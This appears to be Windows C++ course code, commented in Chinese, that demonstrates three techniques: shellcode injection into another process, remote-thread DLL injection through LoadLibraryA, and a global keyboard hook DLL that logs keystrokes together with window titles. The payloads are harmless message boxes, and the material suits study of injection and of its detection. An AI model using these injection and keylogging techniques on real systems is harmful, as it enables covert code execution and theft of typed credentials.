// 注入_shellcode注入.cpp : 定義控制臺應用程序的入口點。
//
#include "stdafx.h"
#include <Windows.h>
bool injectShellcode( DWORD dwPid , const BYTE* pShellCode , DWORD dwSize ) ;
int _tmain(int argc, _TCHAR* argv[])
{
BYTE shellcode[] =
{
"\xE8\x00\x00\x00\x00" // call $+5
"\x58" // pop eax
"\x6A\x00" // push 0
"\x83\xC0\x17" // add eax,0x17
"\x50" // push eax
"\x83\xC0\x14" // add eax,0x14
"\x50" // push eax
"\x6A\x00" // push 0
"\xB8\x30\x88\x20\x74" // mov eax,MessageBoxA
"\xFF\xD0" // call eax
"\xC2\x04\x00" // ret 0x04
"來自shellcode的問候\0"
"大家好,我是shellcode!!!"
};
// 將MessageBoxA函數的地址寫入到shellcode中.
*(DWORD*)( shellcode + 19 ) = (DWORD)&MessageBoxA;
DWORD dwPid;
printf( "輸入要注入到的進程PID:" );
scanf_s( "%d[*]" , &dwPid );
// 注入設計好的shellcode
injectShellcode( dwPid , shellcode ,sizeof(shellcode));
return 0;
}
bool injectShellcode( DWORD dwPid , const BYTE* pShellCode , DWORD dwSize ) {
// shellcode注入的方式和DLL注入的方式差不多.
// 但是shellcode注入的要求比較高, 需要自己編寫shellcode
// 注入步驟:
// 1. 在遠程進程中開辟內存空間
// 2. 將shellcode寫入到遠程進程的內存空間中
// 3. 創(chuàng)建遠程線程,將被寫入到遠程進程內存shellcode的首地址
// 作為線程回調函數的地址.
// 4. 等待線程退出
// 5. 銷毀遠程進程內存.
bool bRet = false;
HANDLE hProcess = 0;
HANDLE hRemoteThread = 0;
LPVOID pRemoteBuff = NULL;
DWORD dwWrite = 0 ;
// 打開進程
hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE ,/*創(chuàng)建線程和寫內存權限*/
FALSE ,
dwPid /*進程ID*/
);
if( hProcess == NULL ) {
printf( "打開進程失敗,可能由于本程序的權限太低,請以管理員身份運行再嘗試\n" );
goto _EXIT;
}
// 1. 在遠程進程上開辟內存空間
pRemoteBuff = VirtualAllocEx(
hProcess ,
NULL ,
64 * 1024 , /*大小:64Kb*/
MEM_COMMIT ,/*預定并提交*/
PAGE_EXECUTE_READWRITE/*可讀可寫可執(zhí)行的屬性*/
);
if( pRemoteBuff == NULL ) {
printf( "在遠程進程上開辟空降失敗\n" );
goto _EXIT;
}
// 2. 將DLL路徑寫入到新開的內存空間中
WriteProcessMemory(
hProcess ,
pRemoteBuff , /* 要寫入的地址 */
pShellCode , /* 要寫入的內容的地址 */
dwSize , /* 寫入的字節(jié)數 */
&dwWrite /* 輸出:函數實際寫入的字節(jié)數 */
);
if( dwWrite != dwSize ) {
printf( "寫入DLL路徑失敗\n" );
goto _EXIT;
}
//3. 創(chuàng)建遠程線程,
// 遠程線程創(chuàng)建成功后,DLL就會被加載,DLL被加載后DllMain函數
// 就會被執(zhí)行,如果想要執(zhí)行什么代碼,就在DllMain中調用即可.
hRemoteThread = CreateRemoteThread(
hProcess ,
0 , 0 ,
(LPTHREAD_START_ROUTINE)pRemoteBuff , /* 線程回調函數 */
0 , /* 回調函數參數 */
0 , 0 );
// 等待遠程線程退出.
// 退出了才釋放遠程進程的內存空間.
WaitForSingleObject( hRemoteThread , -1 );
bRet = true;
_EXIT:
// 釋放遠程進程的內存
VirtualFreeEx( hProcess , pRemoteBuff , 0 , MEM_RELEASE );
// 關閉進程句柄
CloseHandle( hProcess );
return bRet;
}
==========================
// 注入_遠程線程注入.cpp : 定義控制臺應用程序的入口點。
//
#include "stdafx.h"
#include <Windows.h>
bool injectDll( DWORD dwPid , const char* pszDllPath );
int _tmain(int argc, _TCHAR* argv[])
{
DWORD dwPid;
char szDllPath[ MAX_PATH ] = { "E:\\code\\課上代碼\\核心編程_內存管理\\Debug\\testDll2.dll"};
printf( "輸入要注入到的進程PID:" );
scanf_s( "%d[*]" , &dwPid );
printf( "輸入要注入到的DLL:" );
//scanf_s( "%s" , szDllPath , MAX_PATH );
injectDll( dwPid , szDllPath );
return 0;
}
//
bool injectDll( DWORD dwPid , const char* pszDllPath ) {
/**
* 遠程注入的目標: 將一個DLL注入到其它進程的地址空間中.
* 注入方法:
* 背景知識:
* 1. windwos中有一個創(chuàng)建遠程線程的API. 這個API能夠在
* 目標進程中創(chuàng)建一個線程. 在創(chuàng)建線程時,能夠由自己指
* 定線程的回調函數, 但這個函數的地址必須在目標進程
* 的地址空間中. 線程被創(chuàng)建起來之后, 這個函數就會被
* 執(zhí)行.
* 2. 當一個DLL被進程加載后, 操作系統(tǒng)會在物理內存中分配
* 一塊空間來保存它, 當這個DLL再次被其它進程加載時,
* 系統(tǒng)不會再次分配物理內存來保存這個DLL,而是將這個DLL
* 所在的物理內存映射到新進程的虛擬地址空間中.
* 因此,系統(tǒng)DLL在每次開機之后,它們的加載地址都是不變的,
* 所以,所有進程的系統(tǒng)DLL的加載基址都是相同的,因為它們
* 的加載基址相同,故每一個API的地址都在任何進程中也都是
* 相同的.
* 使用CreateRemoteThread函數,在目標進程中創(chuàng)建線程.
* CreateRemoteThread需要指定線程回調函數,這個回調
* 函數只有一個參數, 而LoadLibrary這個系統(tǒng)API剛好也
* 只有一個參數.而LoadLibrary是一個系統(tǒng)DLL中的函數,
* 它在所有進程中的地址都是同一個, 正好為我們所用.
* 這樣一來, 當我們創(chuàng)建遠程線程,LoadLibrary就會被調
* 用,現在我們只需要給LoadLibrary函數傳一個DLL路徑
* 就成功了. 但這個字符串必須保存在目標進程的地址空間中.
* 因為,遠程線程的回調函數LoadLibrary雖然在任何進程中
* 的地址都是同一個, 但是執(zhí)行它的是其它進程,因此,它的
* 參數中用到的地址也必須是它所在進程的地址.
* 注入過程:
* 1. 使用VirtualAllocEx在目標進程中開辟內存空間.
* 2. 使用WriteProcessMemory將DLL路徑寫入到目標進程新
* 開的內存空間中.
* 3. 創(chuàng)建遠程線程, 使用LoadLibrary函數作為線程的回調函數,
* 使用VirtualAllocEx開辟出的內存空間首地址作為回調函數的參數
* 4. 等待線程退出.
* 5. 銷毀VirtualAllocEx開辟出來的內存空間
*/
bool bRet = false;
HANDLE hProcess = 0;
HANDLE hRemoteThread = 0;
LPVOID pRemoteBuff = NULL;
SIZE_T dwWrite = 0 ;
DWORD dwSize = 0;
// 打開進程
hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION |PROCESS_VM_WRITE ,/*創(chuàng)建線程和寫內存權限*/
FALSE ,
dwPid /*進程ID*/
);
if( hProcess == NULL ) {
printf( "打開進程失敗,可能由于本程序的權限太低,請以管理員身份運行再嘗試\n" );
goto _EXIT;
}
// 1. 在遠程進程上開辟內存空間
pRemoteBuff = VirtualAllocEx( hProcess ,
NULL ,
64 * 1024 , /*大小:64Kb*/
MEM_COMMIT ,/*預定并提交*/
PAGE_EXECUTE_READWRITE/*可讀可寫可執(zhí)行的屬性*/
);
if( pRemoteBuff == NULL ) {
printf( "在遠程進程上開辟空降失敗\n" );
goto _EXIT;
}
// 2. 將DLL路徑寫入到新開的內存空間中
dwSize = strlen( pszDllPath ) + 1;
WriteProcessMemory( hProcess ,
pRemoteBuff, /* 要寫入的地址 */
pszDllPath, /* 要寫入的內容的地址 */
dwSize, /* 寫入的字節(jié)數 */
&dwWrite /* 輸出:函數實際寫入的字節(jié)數 */
);
if( dwWrite != dwSize ) {
printf( "寫入DLL路徑失敗\n" );
goto _EXIT;
}
//3. 創(chuàng)建遠程線程,
// 遠程線程創(chuàng)建成功后,DLL就會被加載,DLL被加載后DllMain函數
// 就會被執(zhí)行,如果想要執(zhí)行什么代碼,就在DllMain中調用即可.
hRemoteThread = CreateRemoteThread(
hProcess ,
0 , 0 ,
(LPTHREAD_START_ROUTINE)LoadLibraryA , /* 線程回調函數 */
pRemoteBuff , /* 回調函數參數 */
0 , 0 );
// 等待遠程線程退出.
// 退出了才釋放遠程進程的內存空間.
WaitForSingleObject( hRemoteThread , -1 );
bRet = true;
_EXIT:
// 釋放遠程進程的內存
VirtualFreeEx( hProcess , pRemoteBuff , 0 , MEM_RELEASE );
// 關閉進程句柄
CloseHandle( hProcess );
return bRet;
}
testDll2
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
MessageBox(0, L"Dll被加載", L"DLL內部的彈窗", 0);
if(ul_reason_for_call == DLL_PROCESS_ATTACH)
{
}
return TRUE;
}
===================
// 注入_windwos消息HOOK注入.cpp : 定義控制臺應用程序的入口點。
//
#include "stdafx.h"
#include "../messageHookDll/messageHookDll.h"
#include <Windows.h>
int _tmain(int argc, _TCHAR* argv[])
{
cb_installHook pfnInstallHook = NULL;
HMODULE hHookDll = LoadLibrary( L"messageHook.dll" );
if( hHookDll == NULL ) {
printf( "dll加載失敗\n" );
return 0;
}
pfnInstallHook = GetProcAddress( hHookDll , FUNCTION_INSTALLHOOK );
if( pfnInstallHook == NULL ) {
printf( "獲取dll導出函數失敗\n" );
return 0;
}
pfnInstallHook( );
system( "pause" );
return 0;
}
messageHookDll.h
#ifdef MESSAGEHOOKDLL_EXPORTS
#define MESSAGEHOOKDLL_API extern"C" __declspec(dllexport)
#else
#define MESSAGEHOOKDLL_API extern"C" __declspec(dllimport)
#endif
#define FUNCTION_INSTALLHOOK "installHook"
#define FUNCTION_UNINSTALLHOOK "uninstallHook"
typedef int( __stdcall *cb_installHook )( );
typedef int( __stdcall *cb_uninstallHook )( );
// 安裝鉤子
MESSAGEHOOKDLL_API int installHook( );
// 卸載鉤子
MESSAGEHOOKDLL_API int uninstallHook( ) ;
// messageHookDll.cpp : 定義 DLL 應用程序的導出函數。
//
#include "stdafx.h"
#include "messageHookDll.h"
------------------------------
// messageHookDll.cpp : 定義控制臺應用程序的入口點。
//
#include "stdafx.h"
#include <windows.h>
#include "messageHookDll.h"
#include <stdio.h>
#include <stdlib.h>
HHOOK g_hHook;
HMODULE g_hModule;
LRESULT CALLBACK KeyboardProc( int code , WPARAM wParam , LPARAM lParam ) {
// 判斷是否wParam與lParam都有鍵盤消息,
//是的話則執(zhí)行打印操作
if( code == HC_ACTION ) {
// 將256個虛擬鍵的狀態(tài)拷貝到指定的緩沖區(qū)中,
//如果成功則繼續(xù)
BYTE KeyState[ 256 ] = { 0 };
if( GetKeyboardState( KeyState ) ) {
// 得到第16–23位,鍵盤虛擬碼
UINT keyCode = ( lParam >> 16 ) & 0x00ff;
WCHAR wKeyCode = 0;
// 轉換成ASCII碼
ToAscii( (UINT)wParam ,keyCode ,KeyState ,(LPWORD)&wKeyCode , 0 );
// 獲取前端窗口
TCHAR szWndTitle[ 512 ];
HWND hWnd = GetForegroundWindow( );
// 獲取窗口標題.
GetWindowText( hWnd , szWndTitle , 512 );
// 將其打印出來
WCHAR szInfo[ 516 ] = { 0 };
swprintf_s( szInfo , _countof( szInfo ) , L">>>> [%s] : %c <<<<" , szWndTitle , (WCHAR)wKeyCode );
OutputDebugString( szInfo );
}
}
return CallNextHookEx( g_hHook , code , wParam , lParam );
}
MESSAGEHOOKDLL_API DWORD g_tid = 0;
// 安裝鉤子
MESSAGEHOOKDLL_API int installHook( ) {
g_hHook = SetWindowsHookEx(
WH_KEYBOARD , /* 要HOOK的消息類型 */
KeyboardProc , /* 鉤子回調 */
g_hModule , /* 鉤子回調函數所在的模塊句柄,在這里使用的是本DLL的句柄 */
g_tid /* 要鉤住的線程ID,為0時鉤住所有線程 */
);
return g_hHook != NULL;
}
// 卸載鉤子
MESSAGEHOOKDLL_API int uninstallHook( ) {
return UnhookWindowsHook( WH_KEYBOARD , KeyboardProc ) != 0;
}
BOOL APIENTRY DllMain( HMODULE hModule ,DWORD ul_reason_for_call ,LPVOID lpReserved)
{
switch( ul_reason_for_call ) {
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
{
g_hModule = hModule;
}
break;
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
// DLL被卸載時卸載鉤子
// uninstallHook( );
MessageBox( NULL , L"DLL被卸載" , L"提示" , 0 );
break;
}
return TRUE;
}